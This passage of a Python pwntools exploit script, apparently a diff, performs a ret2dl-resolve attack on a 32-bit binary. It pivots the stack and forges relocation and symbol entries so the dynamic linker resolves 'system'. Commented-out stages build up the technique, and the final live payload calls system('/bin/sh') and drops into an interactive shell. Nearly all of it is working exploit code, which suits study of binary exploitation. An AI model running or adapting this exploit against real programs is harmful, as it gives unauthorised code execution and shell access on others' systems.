p32(base_addr) +payload_1 += p32(100) +payload_1 += p32(pop_ebp_addr) +payload_1 += p32(base_addr) +payload_1 += p32(leave_ret_addr) +io.send(payload_1) + +# payload_2 = "AAAA" # new ebp +# payload_2 += p32(write_plt) +# payload_2 += "AAAA" +# payload_2 += p32(1) +# payload_2 += p32(base_addr + 80) +# payload_2 += p32(len("/bin/sh")) +# payload_2 += "A" * (80 - len(payload_2)) +# payload_2 += "/bin/sh\x00" +# payload_2 += "A" * (100 - len(payload_2)) +# io.sendline(payload_2) +# print io.recv() + +# reloc_index = 0x20 +# payload_3 = "AAAA" +# payload_3 += p32(plt_0) +# payload_3 += p32(reloc_index) +# payload_3 += "AAAA" +# payload_3 += p32(1) +# payload_3 += p32(base_addr + 80) +# payload_3 += p32(len("/bin/sh")) +# payload_3 += "A" * (80 - len(payload_3)) +# payload_3 += "/bin/sh\x00" +# payload_3 += "A" * (100 - len(payload_3)) +# io.sendline(payload_3) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 +# r_info = 0x707 +# fake_reloc = p32(write_got) + p32(r_info) +# payload_4 = "AAAA" +# payload_4 += p32(plt_0) +# payload_4 += p32(reloc_index) +# payload_4 += "AAAA" +# payload_4 += p32(1) +# payload_4 += p32(base_addr + 80) +# payload_4 += p32(len("/bin/sh")) +# payload_4 += fake_reloc +# payload_4 += "A" * (80 - len(payload_4)) +# payload_4 += "/bin/sh\x00" +# payload_4 += "A" * (100 - len(payload_4)) +# io.sendline(payload_4) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym +# r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry +# r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = 0x4c +# st_info = 0x12 +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +# payload_5 = "AAAA" +# payload_5 += p32(plt_0) +# payload_5 += p32(reloc_index) +# payload_5 += "AAAA" +# payload_5 += p32(1) +# payload_5 += p32(base_addr + 80) +# payload_5 += p32(len("/bin/sh")) +# payload_5 += fake_reloc +# payload_5 += "A" * align +# payload_5 += fake_sym +# payload_5 += "A" * (80 - len(payload_5)) +# payload_5 += "/bin/sh\x00" +# payload_5 += "A" * (100 - len(payload_5)) +# io.sendline(payload_5) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 +# r_type = 0x7 +# r_info = (r_sym << 8) + (r_type & 0xff) +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" +# st_bind = 0x1 # STB_GLOBAL -> Global symbol +# st_type = 0x2 # STT_FUNC -> Symbol is a code object +# st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +# payload_6 = "AAAA" +# payload_6 += p32(plt_0) +# payload_6 += p32(reloc_index) +# payload_6 += "AAAA" +# payload_6 += p32(1) +# payload_6 += p32(base_addr + 80) +# payload_6 += p32(len("/bin/sh")) +# payload_6 += fake_reloc +# payload_6 += "A" * align +# payload_6 += fake_sym +# payload_6 += "write\x00" +# payload_6 += "A" * (80 - len(payload_6)) +# payload_6 += "/bin/sh\x00" +# payload_6 += "A" * (100 - len(payload_6)) +# io.sendline(payload_6) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 +# r_info = (r_sym << 8) + 0x7 +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = fake_sym_addr + 0x10 - dynstr +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) +# payload_7 = "AAAA" +# payload_7 += p32(plt_0) +# payload_7 += p32(reloc_index) +# payload_7 += "AAAA" +# payload_7 += p32(base_addr + 80) +# payload_7 += "AAAA" +# payload_7 += "AAAA" +# payload_7 += fake_reloc +# payload_7 += "A" * align +# payload_7 += fake_sym +# payload_7 += "system\x00" +# payload_7 += "A" * (80 - len(payload_7)) +# payload_7 += "/bin/sh\x00" +# payload_7 += "A" * (100 - len(payload_7)) +# io.sendline(payload_7) + +reloc_index = base_addr + 28 - rel_plt +fake_sym_addr = base_addr + 36 +align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +fake_sym_addr = fake_sym_addr + align +r_sym = (fake_sym_addr - dynsym) / 0x10 +r_type = 0x7 +r_info = (r_sym << 8) + (r_type & 0xff) +fake_reloc = p32(write_got) + p32(r_info) +st_name = fake_sym_addr + 0x10 - dynstr +st_bind = 0x1 +st_type = 0x2 +st_info = (st_bind << 4) + (st_type & 0xf) +fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +payload_7 = "AAAA" +payload_7 += p32(plt_0) +payload_7 += p32(reloc_index) +payload_7 += "AAAA" +payload_7 += p32(base_addr + 80) +payload_7 += "AAAA" +payload_7 += "AAAA" +payload_7 += fake_reloc +payload_7 += "A" * align +payload_7 += fake_sym +payload_7 += "system\x00" +payload_7 += "A" * (80 - len(payload_7)) +payload_7 += "/bin/sh\x00" +payload_7 += "A" * (100 - len(payload_7)) +io.sendline(payload_7) +io.interactive() \ No newline at end of file